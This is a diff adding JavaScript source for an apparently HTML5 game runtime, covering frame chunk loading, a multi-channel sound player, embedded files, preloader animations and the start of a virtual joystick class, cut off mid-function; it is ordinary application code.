+ CRunFrame.JOYSTICK_NONE = 0x0000;
+ CRunFrame.JOYSTICK_TOUCH = 0x0001;
+ CRunFrame.JOYSTICK_ACCELEROMETER = 0x0002;
+ CRunFrame.JOYSTICK_EXT = 0x0003;
+ function CRunFrame(a)
+ {
+ this.app = a;
+ this.rhPtr = null;
+
+ this.leWidth = 0;
+ this.leHeight = 0;
+ this.leBackground = 0;
+ this.leClearBackground = false;
+ this.leFlags = 0;
+
+ this.leVirtualRect = null;
+ this.leEditWinWidth = 0;
+ this.leEditWinHeight = 0;
+ this.frameName = null;
+ this.nLayers = 0;
+ this.layers = null;
+ this.LOList = null;
+ this.evtProg = null;
+ this.maxObjects = 0;
+
+ this.leX = 0;
+ this.leY = 0;
+ this.leLastScrlX = 0;
+ this.leLastScrlY = 0;
+
+ this.startLeX = 0;
+ this.startLeY = 0;
+ this.m_wRandomSeed = 0;
+ this.m_dwMvtTimerBase = 0;
+ this.fadeIn = null;
+ this.fadeOut = null;
+ this.mosaicHandles = null;
+ this.mosaicX = null;
+ this.mosaicY = null;
+ this.mosaicMaxHandle = 0;
+ this.joystick = 0;
+ this.html5Options = 0;
+ }
+ CRunFrame.prototype =
+ {
+ loadFullFrame: function (index)
+ {
+ // Positionne le fichier
+ this.app.file.seek(this.app.frameOffsets[index]);
+
+ // Charge la frame
+ this.evtProg = new CEventProgram(this.app);
+ this.LOList = new CLOList();
+ this.leVirtualRect = new CRect();
+
+ var chID = 0, chFlags, chSize;
+ var posEnd;
+ var nOldFrameWidth = 0;
+ var nOldFrameHeight = 0;
+ this.m_wRandomSeed = -1;
+ while (chID != 0x7F7F)
+ {
+ chID = this.app.file.readAShort();
+ chFlags = this.app.file.readAShort();
+ chSize = this.app.file.readAInt();
+ if (chSize == 0)
+ {
+ continue;
+ }
+ this.posEnd = this.app.file.getFilePointer() + chSize;
+ switch (chID)
+ {
+ case 0x3334:
+ this.loadHeader();
+ if (this.app.parentApp != null && (this.app.parentOptions & CCCA.CCAF_DOCKED) != 0)
+ {
+ this.leEditWinWidth = this.app.cx;
+ this.leEditWinHeight = this.app.cy;
+ }
+ else
+ {
+ this.leEditWinWidth = Math.min(this.app.gaCxWin, this.leWidth);
+ this.leEditWinHeight = Math.min(this.app.gaCyWin, this.leHeight);
+ }
+ break;
+
+ // CHUNK_MOSAICIMAGETABLE
+ case 0x3348:
+ var number = chSize / (3 * 2);
+ this.mosaicHandles = new Array(number);
+ this.mosaicX = new Array(number);
+ this.mosaicY = new Array(number);
+ this.mosaicMaxHandle = 0;
+ var n;
+ for (n = 0; n < number; n++)
+ {
+ this.mosaicHandles[n] = this.app.file.readAShort();
+ this.mosaicMaxHandle = Math.max(this.mosaicMaxHandle, this.mosaicHandles[n]);
+ this.mosaicX[n] = this.app.file.readAShort();
+ this.mosaicY[n] = this.app.file.readAShort();
+ }
+ this.mosaicMaxHandle++;
+ break;
+
+ // CHUNK_FRAME_HTML5_OPTIONS
+ case 0x334A:
+ this.joystick = this.app.file.readAShort();
+ this.html5Options = this.app.file.readAShort();
+ break;
+
+ case 0x3342:
+ this.leVirtualRect.load(this.app.file);
+ break;
+
+ case 0x3344:
+ this.m_wRandomSeed = this.app.file.readAShort();
+ break;
+
+ case 0x3347:
+ this.m_dwMvtTimerBase = this.app.file.readAInt();
+ break;
+
+ case 0x3335:
+ this.frameName = this.app.file.readAString();
+ break;
+
+ // CHUNK_FRAMEFADEIN
+ case 0x333B:
+ this.fadeIn = new CTransitionData();
+ this.fadeIn.load(this.app.file);
+ break;
+
+ // CHUNK_FRAMEFADEOUT
+ case 0x333C:
+ this.fadeOut = new CTransitionData();
+ this.fadeOut.load(this.app.file);
+ break;
+
+ case 0x3341:
+ this.loadLayers();
+ break;
+
+ case 0x3345:
+ this.loadLayerEffects();
+ break;
+
+ case 0x3338:
+ this.LOList.load(this.app);
+ break;
+
+ case 0x333D:
+ this.evtProg.load(this.app);
+ this.maxObjects = this.evtProg.maxObjects;
+ break;
+ }
+ // Positionne a la fin du chunk
+ this.app.file.seek(this.posEnd);
+ }
+
+ this.app.OIList.resetToLoad();
+ var n;
+ for (n = 0; n < this.LOList.nIndex; n++)
+ {
+ var loTemp = this.LOList.getLOFromIndex(n);
+ this.app.OIList.setToLoad(loTemp.loOiHandle);
+ }
+
+ this.app.imageBank.resetToLoad();
+ this.app.soundBank.resetToLoad();
+ this.app.fontBank.resetToLoad();
+ this.app.OIList.load(this.app.file);
+ this.app.OIList.enumElements(this.app.imageBank, this.app.fontBank);
+ if (this.app.dwOptions & CRunApp.AH2OPT_LOADDATAATSTART)
+ {
+ this.app.fontBank.setAllToLoad();
+ this.app.soundBank.setAllToLoad();
+ if (this.app.mosaicMaxHandle == 0)
+ this.app.imageBank.setAllToLoad();
+ }
+ this.app.imageBank.load(this.app.file);
+ this.app.fontBank.load(this.app.file);
+ this.evtProg.enumSounds(this.app.soundBank);
+ this.app.soundBank.load();
+
+ this.app.OIList.resetOICurrent();
+ for (n = 0; n < this.LOList.nIndex; n++)
+ {
+ var lo = this.LOList.list[n];
+ if (lo.loType >= COI.OBJ_SPR)
+ {
+ this.app.OIList.setOICurrent(lo.loOiHandle);
+ }
+ }
+ },
+
+ loadLayers: function ()
+ {
+ this.nLayers = this.app.file.readAInt();
+ this.layers = new Array(this.nLayers);
+
+ var n;
+ for (n = 0; n < this.nLayers; n++)
+ {
+ this.layers[n] = new CLayer(this.app);
+ this.layers[n].load(this.app.file);
+ }
+ },
+
+ loadLayerEffects: function ()
+ {
+ var l;
+ for (l = 0; l < this.nLayers; l++)
+ {
+ this.layers[l].effect = this.app.file.readAInt();
+ this.layers[l].effectParam = this.app.file.readAInt();
+ this.app.file.skipBytes(12);
+ }
+ },
+
+ loadHeader: function ()
+ {
+ this.leWidth = this.app.file.readAInt();
+ this.leHeight = this.app.file.readAInt();
+ this.leBackground = this.app.file.readAColor();
+ this.leFlags = this.app.file.readAInt();
+ }
+ }
+
+ // CSoundPlayer object
+ // ----------------------------------------------------------------
+ CSoundPlayer.NCHANNELS = 32;
+ function CSoundPlayer(a)
+ {
+ this.app = a;
+ this.channels = null;
+ this.bMultipleSounds = false;
+ this.bOn = true;
+ this.volumes = null;
+ this.bLocked = null;
+ this.pans = null;
+ this.mainVolume = 0;
+ this.mainPan = 0;
+ this.dataToDecode = null;
+ this.decoding = false;
+
+ this.channels = new Array(CSoundPlayer.NCHANNELS);
+ this.volumes = new Array(CSoundPlayer.NCHANNELS);
+ this.bLocked = new Array(CSoundPlayer.NCHANNELS);
+ this.bOn = true;
+ this.bMultipleSounds = true;
+ var n;
+ for (n = 0; n < CSoundPlayer.NCHANNELS; n++)
+ {
+ this.channels[n] = null;
+ this.volumes[n] = 100;
+ this.bLocked[n] = false;
+ }
+ this.mainVolume = 100;
+ this.mainPan = 0;
+
+ var sound = new Audio();
+ var canPlay = new Array(4);
+ canPlay[0] = sound.canPlayType('audio/ogg');
+ canPlay[1] = sound.canPlayType('audio/x-m4a');
+ canPlay[2] = sound.canPlayType('audio/mpeg');
+ canPlay[3] = sound.canPlayType('audio/wav');
+ this.probablePlayableFormats = 0;
+ this.maybePlayableFormats = 0;
+ for (n = 0; n < 4; n++)
+ {
+ if (canPlay[n] == 'probably')
+ this.probablePlayableFormats |= (1 << n);
+ if (canPlay[n] == 'maybe')
+ this.maybePlayableFormats |= (1 << n);
+ }
+
+ // Use WEB AUDIO?
+ var papp = a;
+ while (papp.parentApp != null)
+ papp = papp.parentApp;
+ this.context = papp.soundContext;
+ this.contextType = papp.soundContextType;
+ if (this.context == null)
+ {
+ if (typeof AudioContext !== "undefined")
+ {
+ this.context = new AudioContext();
+ this.contextType = 1;
+ }
+ else if (typeof webkitAudioContext !== "undefined")
+ {
+ this.context = new webkitAudioContext();
+ this.contextType = 0;
+ }
+ papp.soundContext = this.context;
+ papp.soundContextType = this.contextType;
+ }
+ }
+ CSoundPlayer.prototype =
+ {
+ addDataToDecode: function (cSound)
+ {
+ if (this.dataToDecode == null)
+ this.dataToDecode = new CArrayList();
+ this.dataToDecode.add(cSound);
+ },
+ decodeData: function ()
+ {
+ if (this.dataToDecode != null && this.dataToDecode.size() > 0)
+ {
+ if (!this.decoding)
+ {
+ var cSound = this.dataToDecode.get(0);
+ this.dataToDecode.removeIndex(0);
+ this.decoding = true;
+ var that = this;
+ that.context["decodeAudioData"](cSound.response, function (buffer)
+ {
+ cSound.buffer = buffer;
+ cSound.response = null;
+ that.app.dataHasLoaded(cSound);
+ that.decoding = false;
+ });
+ }
+ }
+ },
+ reset: function ()
+ {
+ var n;
+ for (n = 0; n < CSoundPlayer.NCHANNELS; n++)
+ {
+ this.bLocked[n] = false;
+ }
+ },
+ lockChannel: function (channel)
+ {
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ this.bLocked[channel] = true;
+ }
+ },
+ unlockChannel: function (channel)
+ {
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ this.bLocked[channel] = false;
+ }
+ },
+
+ play: function (handle, nLoops, channel, bPrio)
+ {
+ var n;
+
+ if (this.bOn == false)
+ return;
+
+ var sound = this.app.soundBank.getSoundFromHandle(handle);
+ if (sound == null)
+ return;
+ if (this.bMultipleSounds == false)
+ channel = 0;
+ /* else
+ {
+ for (n = 0; n < CSoundPlayer.NCHANNELS; n++)
+ {
+ if (this.channels[n] == sound)
+ {
+ sound=sound.createFromSound();
+ break;
+ }
+ }
+ }
+ */
+ if (channel < 0)
+ {
+ for (n = 0; n < CSoundPlayer.NCHANNELS; n++)
+ {
+ if (this.channels[n] == null && this.bLocked[n] == false)
+ {
+ break;
+ }
+ }
+ if (n == CSoundPlayer.NCHANNELS)
+ {
+ for (n = 0; n < CSoundPlayer.NCHANNELS; n++)
+ {
+ if (this.bLocked[n] == false)
+ {
+ if (this.channels[n] != null)
+ {
+ if (this.channels[n].bUninterruptible == false)
+ {
+ break;
+ }
+ }
+ }
+ }
+ }
+ channel = n;
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ this.volumes[channel] = this.mainVolume;
+ }
+ }
+ if (channel < 0 || channel >= CSoundPlayer.NCHANNELS)
+ return;
+
+ if (this.channels[channel] != null)
+ {
+ if (this.channels[channel].bUninterruptible == true)
+ return;
+ if (this.channels[channel] != sound)
+ {
+ this.channels[channel].stop();
+ this.channels[channel] = null;
+ }
+ }
+ for (n = 0; n < CSoundPlayer.NCHANNELS; n++)
+ {
+ if (this.channels[n] == sound)
+ {
+ this.channels[n].stop();
+ this.channels[n] = null;
+ }
+ }
+ this.channels[channel] = sound;
+ sound.play(nLoops, bPrio, this.volumes[channel]);
+ },
+
+ setMultipleSounds: function (bMultiple)
+ {
+ this.bMultipleSounds = bMultiple;
+ },
+
+ keepCurrentSounds: function ()
+ {
+ var n;
+ for (n = 0; n < CSoundPlayer.NCHANNELS; n++)
+ {
+ if (this.channels[n] != null)
+ {
+ if (this.channels[n].isPlaying())
+ {
+ this.app.soundBank.setToLoad(this.channels[n].handle);
+ }
+ }
+ }
+ },
+
+ setOnOff: function (bState)
+ {
+ if (bState != bOn)
+ {
+ this.bOn = bState;
+ if (this.bOn == false)
+ this.stopAllSounds();
+ }
+ },
+
+ getOnOff: function ()
+ {
+ return this.bOn;
+ },
+
+ stopAllSounds: function ()
+ {
+ var n;
+ for (n = 0; n < CSoundPlayer.NCHANNELS; n++)
+ {
+ if (this.channels[n] != null)
+ {
+ this.channels[n].stop();
+ this.channels[n] = null;
+ }
+ }
+ },
+
+ stopSample: function (handle)
+ {
+ var c;
+ for (c = 0; c < CSoundPlayer.NCHANNELS; c++)
+ {
+ if (this.channels[c] != null)
+ {
+ if (this.channels[c].handle == handle)
+ {
+ this.channels[c].stop();
+ this.channels[c] = null;
+ }
+ }
+ }
+ },
+
+ stopChannel: function (channel)
+ {
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ if (this.channels[channel] != null)
+ {
+ this.channels[channel].stop();
+ this.channels[channel] = null;
+ }
+ }
+ },
+
+ isSamplePaused: function (handle)
+ {
+ var c;
+ for (c = 0; c < CSoundPlayer.NCHANNELS; c++)
+ {
+ if (this.channels[c] != null)
+ {
+ if (this.channels[c].handle == handle)
+ {
+ return this.channels[c].isPaused();
+ }
+ }
+ }
+ return false;
+ },
+
+ isSoundPlaying: function ()
+ {
+ var c;
+ for (c = 0; c < CSoundPlayer.NCHANNELS; c++)
+ {
+ if (this.channels[c] != null)
+ {
+ if (this.channels[c].isPlaying())
+ return true;
+ }
+ }
+ return false;
+ },
+
+ isSamplePlaying: function (handle)
+ {
+ var c;
+ for (c = 0; c < CSoundPlayer.NCHANNELS; c++)
+ {
+ if (this.channels[c] != null)
+ {
+ if (this.channels[c].handle == handle)
+ {
+ return this.channels[c].isPlaying();
+ }
+ }
+ }
+ return false;
+ },
+
+ isChannelPlaying: function (channel)
+ {
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ if (this.channels[channel] != null)
+ {
+ return this.channels[channel].isPlaying();
+ }
+ }
+ return false;
+ },
+
+ isChannelPaused: function (channel)
+ {
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ if (this.channels[channel] != null)
+ {
+ return this.channels[channel].isPaused();
+ }
+ }
+ return false;
+ },
+
+ pause: function ()
+ {
+ var c;
+ for (c = 0; c < CSoundPlayer.NCHANNELS; c++)
+ {
+ if (this.channels[c] != null)
+ {
+ this.channels[c].globalpause();
+ }
+ }
+ },
+
+ pauseChannel: function (channel)
+ {
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ if (this.channels[channel] != null)
+ {
+ this.channels[channel].pause();
+ }
+ }
+ },
+
+ pauseSample: function (handle)
+ {
+ var c;
+ for (c = 0; c < CSoundPlayer.NCHANNELS; c++)
+ {
+ if (this.channels[c] != null)
+ {
+ if (this.channels[c].handle == handle)
+ {
+ this.channels[c].pause();
+ }
+ }
+ }
+ },
+
+ resume: function ()
+ {
+ var c;
+ for (c = 0; c < CSoundPlayer.NCHANNELS; c++)
+ {
+ if (this.channels[c] != null)
+ {
+ this.channels[c].globalresume();
+ }
+ }
+ },
+
+ resumeChannel: function (channel)
+ {
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ if (this.channels[channel] != null)
+ {
+ this.channels[channel].resume();
+ }
+ }
+ },
+
+ resumeSample: function (handle)
+ {
+ var c;
+ for (c = 0; c < CSoundPlayer.NCHANNELS; c++)
+ {
+ if (this.channels[c] != null)
+ {
+ if (this.channels[c].handle == handle)
+ {
+ this.channels[c].resume();
+ }
+ }
+ }
+ },
+
+ setVolumeChannel: function (channel, volume)
+ {
+ if (volume < 0) volume = 0;
+ if (volume > 100) volume = 100;
+
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ this.volumes[channel] = volume;
+ if (this.channels[channel] != null)
+ {
+ this.channels[channel].setVolume(volume);
+ }
+ }
+ },
+
+ setFrequencyChannel: function (channel, freq)
+ {
+ // if (freq<0) freq=0;
+ // if (freq>100000) freq= 100000;
+
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ if (this.channels[channel] != null)
+ {
+ this.channels[channel].setFrequency(freq);
+ }
+ }
+ },
+
+ setFrequencySample: function (handle, freq)
+ {
+ // if (freq<0) freq=0;
+ // if (freq>100000) freq= 100000;
+
+ var c;
+ for (c = 0; c < CSoundPlayer.NCHANNELS; c++)
+ {
+ if (this.channels[c] != null)
+ {
+ if (this.channels[c].handle == handle)
+ {
+ this.channels[c].setFrequency(freq);
+ }
+ }
+ }
+ },
+
+ setPositionChannel: function (channel, pos)
+ {
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ if (this.channels[channel] != null)
+ {
+ this.channels[channel].setPosition(pos);
+ }
+ }
+ },
+
+ setPositionSample: function (handle, pos)
+ {
+ var c;
+ for (c = 0; c < CSoundPlayer.NCHANNELS; c++)
+ {
+ if (this.channels[c] != null)
+ {
+ if (this.channels[c].handle == handle)
+ {
+ this.channels[c].setPosition(pos);
+ }
+ }
+ }
+ },
+
+ getVolumeChannel: function (channel)
+ {
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ if (this.channels[channel] != null)
+ {
+ return this.volumes[channel];
+ }
+ }
+ return 0;
+ },
+
+ setVolumeSample: function (handle, volume)
+ {
+ if (volume < 0) volume = 0;
+ if (volume > 100) volume = 100;
+
+ var c;
+ for (c = 0; c < CSoundPlayer.NCHANNELS; c++)
+ {
+ if (this.channels[c] != null)
+ {
+ if (this.channels[c].handle == handle)
+ {
+ this.volumes[c] = volume;
+ this.channels[c].setVolume(volume);
+ }
+ }
+ }
+ },
+
+ setMainVolume: function (volume)
+ {
+ var n;
+ this.mainVolume = volume;
+ for (n = 0; n < CSoundPlayer.NCHANNELS; n++)
+ {
+ this.volumes[n] = volume;
+ if (this.channels[n] != null)
+ {
+ this.channels[n].setVolume(volume);
+ }
+ }
+ },
+
+ getMainVolume: function ()
+ {
+ return this.mainVolume;
+ },
+
+ getChannel: function (name)
+ {
+ var c;
+ for (c = 0; c < CSoundPlayer.NCHANNELS; c++)
+ {
+ if (this.channels[c] != null)
+ {
+ if (this.channels[c].name == name)
+ {
+ return c;
+ }
+ }
+ }
+ return -1;
+ },
+
+ getDurationChannel: function (channel)
+ {
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ if (this.channels[channel] != null)
+ {
+ return this.channels[channel].getDuration();
+ }
+ }
+ return 0;
+ },
+
+ getPositionChannel: function (channel)
+ {
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ if (this.channels[channel] != null)
+ {
+ return this.channels[channel].getPosition();
+ }
+ }
+ return 0;
+ },
+
+ getFrequencyChannel: function (channel)
+ {
+ if (channel >= 0 && channel < CSoundPlayer.NCHANNELS)
+ {
+ if (this.channels[channel] != null)
+ {
+ return this.channels[channel].getFrequency();
+ }
+ }
+ return 0;
+ },
+
+ getVolumeSample: function (name)
+ {
+ var channel = this.getChannel(name);
+ if (channel >= 0)
+ {
+ return this.volumes[channel];
+ }
+ return 0;
+ },
+
+ getDurationSample: function (name)
+ {
+ var channel = this.getChannel(name);
+ if (channel >= 0)
+ {
+ return this.channels[channel].getDuration();
+ }
+ return 0;
+ },
+
+ getPositionSample: function (name)
+ {
+ var channel = this.getChannel(name);
+ if (channel >= 0)
+ {
+ return this.channels[channel].getPosition();
+ }
+ return 0;
+ },
+
+ getFrequencySample: function (name)
+ {
+ var channel = this.getChannel(name);
+ if (channel >= 0)
+ {
+ return this.channels[channel].getFrequency();
+ }
+ return 0;
+ },
+
+ checkSounds: function ()
+ {
+ var c;
+ for (c = 0; c < CSoundPlayer.NCHANNELS; c++)
+ {
+ if (this.channels[c] != null)
+ {
+ if (this.channels[c].checkSound())
+ {
+ this.channels[c] = null;
+ }
+ }
+ }
+ }
+ }
+
+ // Embedded Files
+ // ------------------------------------------------------------
+ function CEmbeddedFile(a)
+ {
+ this.app = a;
+ }
+ CEmbeddedFile.prototype =
+ {
+ preLoad: function ()
+ {
+ var l = this.app.file.readAShort();
+ this.path = this.app.file.readAString(l);
+ var pos = this.path.lastIndexOf("\\");
+ if (pos >= 0)
+ {
+ this.path = this.path.substring(pos + 1);
+ }
+ this.length = this.app.file.readAInt();
+ this.offset = this.app.file.getFilePointer();
+ this.app.file.skipBytes(this.length);
+ },
+ open: function ()
+ {
+ return this.app.file.createFromFile(this.offset, this.length)
+ }
+ }
+
+ // Preloader
+ // -------------------------------------------------------------
+ function CPreloaderImage(a)
+ {
+ this.app = a;
+ this.isLoaded = false;
+ this.subApp = null;
+ this.context = this.app.context;
+ this.radius = this.app.preloaderCircleRadius; // * (this.app.scaleX + this.app.scaleY) / 2;
+ this.color = this.app.preloaderCircleColor;
+ this.xCenter = this.app.preloaderCircleCenterX;
+ if (this.xCenter < 0)
+ this.xCenter = this.app.gaCxWin / 2;
+ this.yCenter = this.app.preloaderCircleCenterY;
+ if (this.yCenter < 0)
+ this.yCenter = this.app.gaCyWin / 2;
+ this.currentAngle = 0;
+ this.size = this.app.preloaderCircleThickness; // * (this.app.scaleX + this.app.scaleY) / 2;
+ this.oldAngle = 0;
+ this.counter = 25;
+ this.phase = 0;
+
+ this.image = new Image();
+ var that = this;
+ this.image.onload = function ()
+ {
+ that.isLoaded = true;
+ }
+ this.image.src = this.app.resources + "Preloader.png";
+ }
+ CPreloaderImage.prototype =
+ {
+ load: function ()
+ {
+ return this.isLoaded;
+ },
+ reset: function ()
+ {
+ this.phase = 0;
+ this.oldAngle = 0;
+ this.counter = 25;
+ },
+ step: function ()
+ {
+ switch (this.phase)
+ {
+ case 0:
+ if (this.app.preloaderBackColor != -1)
+ this.context.renderSolidColor(0, 0, this.app.gaCxWin, this.app.gaCyWin, this.app.preloaderBackColor);
+ else
+ this.context.clearBackground(0, 0, this.app.gaCxWin, this.app.gaCyWin);
+ this.context.renderSimpleImage(this.image, this.xCenter - this.image.width / 2, this.yCenter - this.image.height / 2, this.image.width, this.image.height, 0, 0);
+ this.phase++;
+ break;
+ case 1:
+ this.angle = this.app.imagesLoaded / this.app.imagesToLoad * 2 * Math.PI;
+ this.drawIt(this.angle);
+ if (this.app.imagesLoaded == this.app.imagesToLoad)
+ this.phase++;
+ break;
+ case 2:
+ if (this.counter > 0)
+ this.counter--;
+ if (this.counter == 0)
+ this.phase++;
+ break;
+ case 3:
+ if (this.app.drawContinue(this))
+ this.phase++;
+ break;
+ default:
+ break;
+ }
+ },
+
+ isComplete: function ()
+ {
+ return this.phase == 4;
+ },
+ drawIt: function (angle)
+ {
+ var a;
+ var x1, y1, x2, y2;
+ for (a = this.oldAngle; a <= angle; a += 0.005)
+ {
+ x1 = this.xCenter + Math.cos(a) * (this.radius - this.size);
+ y1 = this.yCenter - Math.sin(a) * (this.radius - this.size);
+ x2 = this.xCenter + Math.cos(a) * this.radius;
+ y2 = this.yCenter - Math.sin(a) * this.radius;
+ this.context.renderLine(x1, y1, x2, y2, this.color, 1, 0, 0);
+
+ var n;
+ for (n = 0; n < 3; n++)
+ {
+ x1 = this.xCenter + Math.cos(a) * (this.radius - this.size - n);
+ y1 = this.yCenter - Math.sin(a) * (this.radius - this.size - n);
+ x2 = this.xCenter + Math.cos(a) * (this.radius - this.size - n - 1);
+ y2 = this.yCenter - Math.sin(a) * (this.radius - this.size - n - 1);
+ this.context.renderLine(x1, y1, x2, y2, this.color, 1, 0, 0);
+
+ x1 = this.xCenter + Math.cos(a) * (this.radius + n);
+ y1 = this.yCenter - Math.sin(a) * (this.radius + n);
+ x2 = this.xCenter + Math.cos(a) * (this.radius + n + 1);
+ y2 = this.yCenter - Math.sin(a) * (this.radius + n + 1);
+ this.context.renderLine(x1, y1, x2, y2, this.color, 1, 0, 0);
+ }
+ }
+ this.oldAngle = angle;
+ }
+ }
+ function CPreloaderDefault(a)
+ {
+ this.app = a;
+ this.context = this.app.context;
+ this.currentPosition = 0;
+ this.width = 100;
+ this.height = 12;
+ this.position = 0;
+ this.backColor = 0xA0A0A0;
+ this.borderColor = 0x808080;
+ this.barColor = 0x000000;
+ this.rect = new CRect();
+ this.rect.left = this.app.gaCxWin / 2 - this.width / 2;
+ this.rect.top = this.app.gaCyWin / 2 - this.height / 2;
+ this.rect.right = this.rect.left + this.width;
+ this.rect.bottom = this.rect.top + this.height;
+ this.reset();
+ }
+ CPreloaderDefault.prototype =
+ {
+ load: function ()
+ {
+ return true;
+ },
+ reset: function ()
+ {
+ this.quit = false;
+ this.phase = 0;
+ this.alpha = 128;
+ this.position = 0;
+ },
+ step: function ()
+ {
+ if (this.app.imagesLoaded < this.app.imagesToLoad)
+ {
+ switch (this.phase)
+ {
+ case 0:
+ if (this.alpha > 0)
+ {
+ this.alpha -= 2;
+ if (this.alpha <= 0)
+ {
+ this.alpha = 0;
+ this.phase++;
+ }
+ }
+ break;
+ case 1:
+ break;
+ }
+ }
+ else
+ {
+ switch (this.phase)
+ {
+ case 0:
+ case 1:
+ this.phase = 2;
+ break;
+ case 2:
+ if (this.alpha < 128)
+ {
+ this.alpha += 4;
+ }
+ if (this.alpha >= 128)
+ {
+ this.alpha = 128;
+ if (this.app.silentSound == null)
+ this.quit = true;
+ else
+ this.phase++;
+ }
+ break;
+ default:
+ this.quit = this.app.drawContinue(this);
+ return;
+ }
+ }
+ // this.context.renderSolidColor(this.rect.left, this.rect.top, this.width, this.height, this.app.frameColor, 0, 0);
+ this.context.renderSolidColor(this.rect.left, this.rect.top, this.width, this.height, this.backColor, CRSpr.BOP_BLEND, this.alpha);
+ this.context.renderRect(this.rect.left, this.rect.top, this.width, this.height, this.borderColor, 1, CRSpr.BOP_BLEND, this.alpha);
+ this.position = this.app.imagesLoaded / this.app.imagesToLoad * (this.width - 2);
+ this.context.renderSolidColor(this.rect.left + 1, this.rect.top + 1, this.position, this.height - 2, this.barColor, CRSpr.BOP_BLEND, this.alpha);
+ },
+
+ isComplete: function ()
+ {
+ return this.quit && (this.app.imagesLoaded == this.app.imagesToLoad);
+ }
+ }
+
+ function CPreloaderFrame(a)
+ {
+ this.app = a;
+ this.isLoaded = false;
+ this.appSprite = new Sprite();
+ this.subApp = new CRunApp(this.app, this.app.file, this.app.path, true);
+ this.subApp.setParentApp(this.app, this.app.preloaderFrameNumber, 0, this.appSprite, this.app.gaCxWin, this.app.gaCyWin);
+ this.subApp.digest();
+ this.subApp.loadPreloader = false;
+ this.subApp.subAppStopped = false;
+ this.subApp.dwOptions &= ~CRunApp.AH2OPT_LOADDATAATSTART;
+ this.subApp.startApplication();
+ this.subApp.setMouseOffsets(0, 0);
+ this.subApp.stepApplication();
+ this.appSprite.x = this.app.gaCxWin / 2 - this.subApp.frame.leWidth / 2;
+ this.appSprite.y = this.app.gaCyWin / 2 - this.subApp.frame.leHeight / 2;
+ this.stopOnLoad = (this.app.dwOptions & CRunApp.AH2OPT_PRELOADERQUIT) != 0;
+ this.app.subApps.push(this.subApp);
+ this.delay = 0;
+ }
+ CPreloaderFrame.prototype =
+ {
+ load: function ()
+ {
+ this.step();
+ return !this.subApp.loading;
+ },
+ reset: function ()
+ {
+ this.subApp.run.f_StopSamples();
+ this.subApp.run.killFrameObjects();
+ this.subApp.run.y_KillLevel(false);
+ this.subApp.run.resetFrameLayers(-1, false);
+ this.subApp.run.rhEvtProg.unBranchPrograms();
+ this.subApp.run.freeMouse();
+ this.subApp.run.freeRunHeader();
+
+ this.subApp.run.rhFrame.leX = this.subApp.run.rhFrame.leLastScrlX = this.subApp.run.rh3DisplayX = 0;
+ this.subApp.run.rhFrame.leY = this.subApp.run.rhFrame.leLastScrlY = this.subApp.run.rh3DisplayY = 0;
+ this.subApp.resetLayers();
+ this.subApp.run.allocRunHeader();
+ this.subApp.run.initAsmLoop();
+ this.subApp.run.resetFrameLayers(-1, false);
+ this.subApp.run.prepareFrame();
+ this.subApp.run.createFrameObjects(false);
+ this.subApp.run.drawLevel();
+ this.subApp.run.loadGlobalObjectsData();
+ this.subApp.run.rhEvtProg.prepareProgram();
+ this.subApp.run.rhEvtProg.assemblePrograms(this.subApp.run);
+ this.subApp.run.f_InitLoop();
+ this.subApp.run.captureMouse();
+ this.subApp.run.rhQuit = 0;
+ this.subApp.run.rhQuitParam = 0;
+ this.subApp.subAppStopped = false;
+ this.app.subApps.push(this.subApp);
+ this.delay = 0;
+ },
+ step: function ()
+ {
+ if (!this.subApp.subAppStopped)
+ {
+ if (this.stopOnLoad)
+ this.subApp.subAppStopped = (this.app.imagesLoaded == this.app.imagesToLoad);
+ if (this.subApp.stepApplication() == false)
+ this.subApp.subAppStopped = true;
+ this.subApp.drawSubApplication(this.context, this.appSprite.x, this.appSprite.y, false);
+ }
+ if (this.subApp.subAppStopped && this.app.silentSound)
+ {
+ this.app.drawContinue(this);
+ }
+ },
+ isComplete: function ()
+ {
+ var bComplete = this.subApp.subAppStopped;
+ if (this.app.silentSound)
+ bComplete = false;
+ if (bComplete)
+ {
+ if (this.delay > 0)
+ {
+ this.delay--;
+ if (this.delay > 0)
+ return false;
+ }
+ var n;
+ for (n = 0; n < this.app.subApps.length; n++)
+ {
+ if (this.app.subApps[n] == this.subApp)
+ {
+ this.app.subApps.splice(n, 1);
+ break;
+ }
+ }
+ }
+ return bComplete;
+ }
+ }
+
+ // Virtual joystick
+ // ----------------------------------------------------------------
+ CJoystick.KEY_JOYSTICK = 0;
+ CJoystick.KEY_FIRE1 = 1;
+ CJoystick.KEY_FIRE2 = 2;
+ CJoystick.KEY_NONE = -1;
+ CJoystick.MAX_TOUCHES = 3;
+ CJoystick.JFLAG_JOYSTICK = 0x0001;
+ CJoystick.JFLAG_FIRE1 = 0x0002;
+ CJoystick.JFLAG_FIRE2 = 0x0004;
+ CJoystick.JFLAG_LEFTHANDED = 0x0008;
+ CJoystick.JPOS_NOTDEFINED = 0x80000000;
+ CJoystick.JOY_ANGLEGAP = 70;
+ CJoystick.DPAD_ANGLEGAP = 60;
+ CJoystick.DEADZONE = 0.5;
+
+ function CJoystick(a)
+ {
+ this.app = a;
+ this.joyBack = null;
+ this.joyFront = null;
+ this.fire1U = null;
+ this.fire2U = null;
+ this.fire1D = null;
+ this.fire2D = null;
+ this.imagesX = new Array(3);
+ this.imagesY = new Array(3);
+ this.joystickX = 0;
+ this.joystickY = 0;
+ this.joystick = 0;
+ this.flags = 0;
+ this.touches = new Array(3);
+ this.bSetPositions = false;
+ this.isJoystick = true;
+ this.joydeadzone = 0;
+ this.joyanglezone = 0;
+ this.joyradsize = 0;
+ }
+ CJoystick.prototype =
+ {
+ loadImages: function ()
+ {
+ if (this.joyBack == null)
+ {
